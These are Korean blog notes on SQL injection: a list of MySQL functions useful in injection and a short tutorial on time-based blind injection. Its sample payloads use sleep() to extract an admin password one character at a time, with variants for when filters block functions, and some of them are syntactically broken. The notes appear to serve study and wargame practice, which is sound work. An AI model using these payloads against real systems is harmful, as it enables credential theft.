http://hides.kr/247

http://hyunmini.tistory.com/49


진법변환을 이용한 SQL Injection 8번의 비교만으로 문자열 뽑기


이진검색

문자열을 이진검색을 이용하여 절반씩 나눠가며 검색


나중에 파이썬 코드 추가

'Web Hacking' 카테고리의 다른 글

DataBase(information_schema)  (2) 2015.09.04
Group By SQL Injection  (1) 2015.08.24
useful MYSQL Functions  (0) 2015.08.24
Time Base SQL Injection  (0) 2015.08.24
Blind SQL Injection  (0) 2015.08.24

substr()

substring()

ascii()

left()

right()

mid()

reverse()


%

_


like

lpad()

conv()

ord()

char()

bin()

regexp

if()

extractvalue()

case()

nullif()

ifnull()

isnull()

in()

between()

nvl() : ORACLE 함수  

cast()

coalesce()

concat()

group_concat()


'Web Hacking' 카테고리의 다른 글

Group By SQL Injection  (1) 2015.08.24
SQL Injection Tips  (0) 2015.08.24
Time Base SQL Injection  (0) 2015.08.24
Blind SQL Injection  (0) 2015.08.24
Union SQL Injection  (0) 2015.08.24

Time Based SQL Injection은 말 그대로 시간을 이용한 공격이다.

왠만한 Blind SQL Injection을 했을때 결과가 참인지 거짓인지 알수 없을때 이 방법을 시도 해보는것도 좋다.

주로 time()함수와 benchmark()함수가 이용된다.


select * from user id='admin' and pw=' ' and if(ascii(substr(pw,1,1))<=120,sleep(3),0)#';


이 함수는 pw의 첫번째 문자가 아스키값 120이하라면 sleep 함수를 통해 3초동안 쉬는 공격 구문이다.

if()함수가 막히면 이렇게도 할 수 있다.

select * from user id='admin' and pw=' ' and sleep(ascii(substr(pw,1,1)))#';

pw의 첫번째 문자의 아스키 값만큼 시간을 지연시킨다. 물론 효율적인 공격 코드를 짜기 위해서 시간을 빼거나 나누어 주면 된다.


만약 substr()과 if()함수가 막혔다면 이렇게도 할 수 있다.


select * from user id='admin' and pw=' ' or (sleep(right(left(pw),1,1)))#';


이렇게 된다면 pw의 길이만큼 시간을 지연시킨다.

select * from user id='admin' and pw=' ' or (sleep(length(pw)))#';


공격을 하기전에 미리 길이를 알아놓을떄 편하다.


물론 이 글도 기억나는 대로 추가하겠습니다.

'Web Hacking' 카테고리의 다른 글

SQL Injection Tips  (0) 2015.08.24
useful MYSQL Functions  (0) 2015.08.24
Blind SQL Injection  (0) 2015.08.24
Union SQL Injection  (0) 2015.08.24
SQL Injection 2  (0) 2015.08.24

+ Recent posts